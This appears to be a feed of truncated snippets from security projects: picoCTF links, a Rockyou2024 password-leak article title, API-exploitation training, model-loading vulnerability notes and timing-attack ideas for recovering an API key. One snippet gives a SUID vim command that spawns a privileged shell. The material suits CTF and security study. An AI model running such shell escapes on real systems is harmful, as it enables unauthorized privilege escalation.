-
## Background
‘Stop Child Abuse - Trace an Object’ was established by Europol in 2017.
The initiative asks you to help identify objects extracted from the background of sexual abuse material in…
-
Hi!
The section about SUID with only mentoins this option:
> ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
This can be added:
>./vim -c ':set shell=/bin/s…
-
https://play.picoctf.org/practice/challenge/440
-
https://play.picoctf.org/practice/challenge/435
-
# Rockyou2024.txt : récupération et consultation du fichier - Stoormz'log
[https://stoorm.org/article/rockyou2024-txt-recuperation-exploitation-et-consultation-du-fichier?utterances=679e5f55f21e8ad…
-
https://play.picoctf.org/practice/challenge/449
-
- [ ] OAES
Offensive API Exploitation and Security
https://hackerassociate.com/oaes-offensive-api-exploitation-and-security-training/
noraj updated
1 month ago
-
Nice idea to collect some techniques on model loading vulnerabilities.
In the README it currently states that TensorFlow is uncertain and might be using pickle in a safe way.
But it turns out th…
-
https://play.picoctf.org/practice/challenge/380
-
The timing attack algorithm should be able to discover a valid, hard-coded, API key with zero knowledge.
Some ideas:
- [ ] Brute force the last N chars
- [ ] In systems with many valid API keys it mi…